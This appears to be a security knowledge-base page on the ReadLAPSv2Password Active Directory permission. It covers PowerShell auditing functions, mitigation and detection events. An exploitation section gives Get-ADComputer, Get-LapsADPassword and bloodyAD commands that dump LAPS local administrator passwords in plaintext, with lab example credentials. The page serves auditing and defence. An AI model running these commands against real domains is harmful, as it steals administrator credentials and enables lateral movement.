ReadLAPSv2Password
Summary
FSProtect ACL Alias
ReadLAPSv2Password
AD Alias
ReadProperty
Affected Object Types
Computers
Exploitation Certainty
Certain
AD Right
Extended Right
Description
The ReadLAPSv2Password permission grants the authority to read local administrator passwords managed by the Local Administrator Password Solution (LAPS) in Active Directory. This permission enables system administrators to securely retrieve and manage the local administrator password of each computer. LAPS ensures that unique and complex passwords are generated for each computer, allowing passwords to be rotated automatically on a regular schedule. The ReadLAPSv2Password permission facilitates support and management processes by ensuring that these passwords are accessible when needed.
However, when this permission is misconfigured, it creates serious security vulnerabilities. A threat actor with the ReadLAPSv2Password permission extracts the credentials of local administrator accounts on target machines. Since these credentials are typically configured with extensive privileges, they are used by the attacker to infiltrate the corporate network, gain access to critical infrastructure, and carry out malicious activities. Additionally, this permission allows an attacker to maintain persistent access to systems and move laterally within the network using standard lateral-movement techniques.
Identification
PowerShell
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate ReadLAPSv2Password
entries.
1. Find-ReadLAPSv2Password function
function Find-ReadLAPSv2Password {
[CmdletBinding()]
param (
[string]$OutputPath = "ReadLAPSv2PasswordAcls.csv",
[ValidateSet('computer','organizationalUnit','container')]
[string[]]$Classes = @('computer','organizationalUnit','container')
)
Write-Verbose "Loading ActiveDirectory module..."
if (-not (Get-Module -Name ActiveDirectory)) {
Import-Module ActiveDirectory -ErrorAction Stop
}
$aclType = [System.Security.AccessControl.AccessControlType]::Allow
$rightToRead = [System.DirectoryServices.ActiveDirectoryRights]::ReadProperty
$rootDSE = [ADSI]"LDAP://RootDSE"
$schemaNC = $rootDSE.schemaNamingContext
function Get-AttributeGuid {
param ([string]$Name)
$path = "LDAP://CN=$Name,$schemaNC"
try {
$node = [ADSI]$path
} catch {
Write-Warning " • Cannot bind to schema object for '$Name': $_"
return [Guid]::Empty
}
$propCol = $node.Properties["schemaIDGUID"]
if (-not $propCol -or $propCol.Count -eq 0) {
Write-Warning " • schemaIDGUID missing for '$Name'"
return [Guid]::Empty
}
$bytes = $propCol[0]
if (-not ($bytes -is [byte[]])) {
Write-Warning " • schemaIDGUID for '$Name' is not a byte[]"
return [Guid]::Empty
}
try {
return New-Object System.Guid -ArgumentList (, $bytes)
} catch {
Write-Warning " • Failed to construct Guid for '$Name': $_"
return [Guid]::Empty
}
}
Write-Verbose "Retrieving LAPS attribute GUIDs..."
$plainGuid = Get-AttributeGuid -Name "ms-LAPS-Password"
$encryptedGuid = Get-AttributeGuid -Name "ms-LAPS-EncryptedPassword"
if ($plainGuid -eq [Guid]::Empty) {
Throw "Could not resolve GUID for ms-LAPS-Password—cannot continue."
} elseif ($encryptedGuid -eq [Guid]::Empty) {
Write-Warning "Could not resolve GUID for ms-LAPS-EncryptedPassword; encrypted entries will be skipped."
}
$results = [System.Collections.Generic.List[PSObject]]::new()
Write-Verbose "Retrieving all objects of class: $($Classes -join ', ')"
$objects = foreach ($class in $Classes) { Get-ADObject -LDAPFilter "(objectClass=$class)" -Properties distinguishedName,objectClass}
foreach ($obj in $objects) {
$dn = $obj.DistinguishedName
$class = $obj.objectClass
Write-Verbose " ⋯ processing $dn ($class)"
try {
$entry = [ADSI]"LDAP://$dn"
$aces = $entry.ObjectSecurity.GetAccessRules(
$true, # includeExplicit
$false, # includeInherited
[System.Security.Principal.NTAccount]
)
foreach ($ace in $aces) {
if ($ace.AccessControlType -ne $aclType) { continue }
if (-not ($ace.ActiveDirectoryRights -band $rightToRead)) { continue }
if ($ace.IsInherited) { continue }
if ($ace.ObjectType -eq [Guid]::Empty) { continue }
if ($ace.ObjectType -eq $plainGuid) {
$attr = 'ms-LAPS-Password'
}
elseif ($encryptedGuid -ne [Guid]::Empty -and $ace.ObjectType -eq $encryptedGuid) {
$attr = 'ms-LAPS-EncryptedPassword'
}
else { continue }
$results.Add([PSCustomObject]@{
'Target Object DN' = $dn
'Object Type' = $class
'Identity Reference' = $ace.IdentityReference.Value
'Access Type' = $ace.AccessControlType
'Right' = "ReadProperty ($attr)"
'Inherited' = $ace.IsInherited
'GUID' = $ace.ObjectType
})
}
} catch {
Write-Warning "Failed to enumerate ACLs on $dn : $_"
}
}
$unique = $results | Sort-Object 'Target Object DN','Object Type','Identity Reference','Right','GUID' -Unique
if ($unique.Count -gt 0) {
Write-Host "Found $($unique.Count) unique LAPS ACL entries."
Write-Verbose "Exporting to $OutputPath"
$unique | Export-Csv -Path $OutputPath -NoTypeInformation
Write-Host "Export complete: $OutputPath"
}
else {Write-Host "No matching LAPS ACL entries found."}
}
2. Scan all OUs, computers, and containers in the domain
Find-ReadLAPSv2Password
.NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate ReadLAPSv2Password
entries without relying on any external modules or dependencies.
1. Find-ReadLAPSv2PasswordSimple function
function Find-ReadLAPSv2PasswordSimple {
[CmdletBinding()]
param (
[string]$Target = $null,
[string]$OutputPath = "ReadLAPSv2PasswordAcls.csv"
)
function Get-SchemaGuid {
param ([string]$Name)
try {
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$schemaNC = $rootDSE.Properties["schemaNamingContext"][0]
$schemaPath = "LDAP://CN=$Name,$schemaNC"
$schemaObj = New-Object DirectoryServices.DirectoryEntry($schemaPath)
$guidBytes = $schemaObj.Properties["schemaIDGUID"][0]
if ($guidBytes -is [byte[]]) {
return New-Object Guid (, $guidBytes)
} else {
return [Guid]::Empty
}
} catch { return [Guid]::Empty }
}
$plainGuid = Get-SchemaGuid -Name "ms-LAPS-Password"
$encryptedGuid = Get-SchemaGuid -Name "ms-LAPS-EncryptedPassword"
if ($plainGuid -eq [Guid]::Empty) {
Write-Error "Could not resolve GUID for ms-LAPS-Password—cannot continue."
return
}
$results = [System.Collections.Generic.List[PSObject]]::new()
if ($Target) {
try {
$entries = @( New-Object DirectoryServices.DirectoryEntry("LDAP://$Target") )
}
catch {
Write-Error "Failed to bind to '$Target': $_"
return
}
} else {
try {
$root = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$baseDN = $root.Properties["defaultNamingContext"][0]
$searchRoot= New-Object DirectoryServices.DirectoryEntry("LDAP://$baseDN")
$searcher = New-Object DirectoryServices.DirectorySearcher($searchRoot)
$searcher.Filter = "(|(objectClass=computer)(objectClass=organizationalUnit)(objectClass=container))"
$searcher.PageSize = 1000
[void]$searcher.PropertiesToLoad.Add("distinguishedName")
[void]$searcher.PropertiesToLoad.Add("objectClass")
$hits = $searcher.FindAll()
$entries = foreach ($hit in $hits) {
try { $hit.GetDirectoryEntry() }
catch { continue }
}
}
catch {
Write-Error "LDAP search failed: $_"
return
}
}
foreach ($entry in $entries) {
# Always get [0] to avoid PropertyValueCollection in CSV
$dn = $entry.Properties["distinguishedName"][0]
# Get the last objectClass value as type string
$objectClassProp = $entry.Properties["objectClass"]
$class = $null
if ($objectClassProp -is [System.Collections.IEnumerable]) {
$enum = $objectClassProp | ForEach-Object { $_ }
$class = $enum[-1]
} else {
$class = $objectClassProp
}
try {
$aces = $entry.ObjectSecurity.GetAccessRules($true, $false, [System.Security.Principal.NTAccount])
foreach ($ace in $aces) {
if ($ace.AccessControlType -ne 'Allow') { continue }
if (-not ($ace.ActiveDirectoryRights -band [System.DirectoryServices.ActiveDirectoryRights]::ReadProperty)) { continue }
if ($ace.IsInherited) { continue }
if ($ace.ObjectType -eq [Guid]::Empty) { continue }
if ($ace.ObjectType -eq $plainGuid) {
$attr = 'ms-LAPS-Password'
}
elseif ($encryptedGuid -ne [Guid]::Empty -and $ace.ObjectType -eq $encryptedGuid) {
$attr = 'ms-LAPS-EncryptedPassword'
}
else {
continue
}
$who = $ace.IdentityReference.Value
$results.Add([PSCustomObject]@{
'Target Object DN' = $dn
'Object Type' = $class
'Identity Reference' = $who
'Access Type' = $ace.AccessControlType
'Right' = "ReadProperty ($attr)"
'Inherited' = $ace.IsInherited
'GUID' = $ace.ObjectType
})
}
} catch {
Write-Warning "Failed to enumerate ACLs on $dn : $_"
}
}
$unique = $results | Sort-Object 'Target Object DN','Object Type','Identity Reference','Right','GUID' -Unique
if ($unique.Count -gt 0) {
$unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Exported $($unique.Count) entries to $OutputPath"
}
else {
Write-Host "No matching LAPS ACL entries found."
}
}
2. Scan all OUs, computers, and containers in the domain
Find-ReadLAPSv2PasswordSimple
3. Scan a specific object
Find-ReadLAPSv2PasswordSimple -Target "OU=Workstations,DC=Forestall,DC=labs"
Active Directory Users and Computers
1. Open Active Directory Users and Computers
on your Windows server.
2. Right-click on the group name.
3. Select Properties from the context menu.
4. In the Properties window, navigate to the Security tab.
5. Click on the Advanced button to open the Advanced Security Settings dialog.
6. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.
7. Click Edit to modify the selected ACE.
8. In the permissions list, locate and check the option msLAPS-Password
or msLAPS-EncryptedPassword
permissions.
9. Click OK to save your changes and close the dialogs.

Exploitation
This vulnerability can be exploited on Windows systems with PowerShell, while on Linux systems, tools such as BloodyAD can be used for exploitation.
Windows
An attacker can perform ReadLAPSv2Password
attack with this cmdlets on windows.
With Get-ADComputer
Get-ADComputer -Identity '<Vulnerable Computer>' -Properties msLAPS-Password| Select-Object Name, @{Name="msLAPS-Password";Expression={$_.Item("msLAPS-Password")}} | Format-List
Example:
Get-ADComputer -Identity 'vm01$' -Properties msLAPS-Password| Select-Object Name, @{Name="msLAPS-Password";Expression={$_.Item("msLAPS-Password")}} | Format-List

With Get-LAPSADPassword
Get-LapsADPassword -Identity '<Vulnerable Computer>' -AsPlainText
Example:
Get-LapsADPassword -Identity 'vm01' -AsPlainText

Linux
You can also perform the ReadLAPSv2Password
exploitation with this command (BloodyAD must be installed before running the command). BloodyAD
To scan the domain and retrieve all accessible passwords
bloodyAD --host "<DCHOST>" -d "<DomainFQDN>" -u "<Username>" -p '<Password>' get search --filter '(msLAPS-Password=*)' --attr msLAPS-Password
Example:
bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get search --filter '(msLAPS-Password=*)' --attr msLAPS-Password

To get the LAPS password from a specific computer
bloodyAD --host "<DCHOST>" -d "<DomainFQDN>" -u "<Username>" -p '<Password>' get object '<Vulnerable Computer>' --attr msLAPS-Password
Example:
bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object 'vm01$' --attr msLAPS-Password

Mitigation
Access Control Entries identified as dangerous should be removed by following the steps below.
1. Open Active Directory Users and Computers
, and activate Advanced Features
option.
2. Double click the affected object and open Security
tab.
3. In this tab, click Advanced
button and open the dangerous Access Control Entry.
4. Remove the rights which marked as dangerous.
5. Click OK and Apply to save changes.

Detection
Adding new Access Control Entries to Active Directory objects changes the ntSecurityDescriptor
attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
References
Last updated
Was this helpful?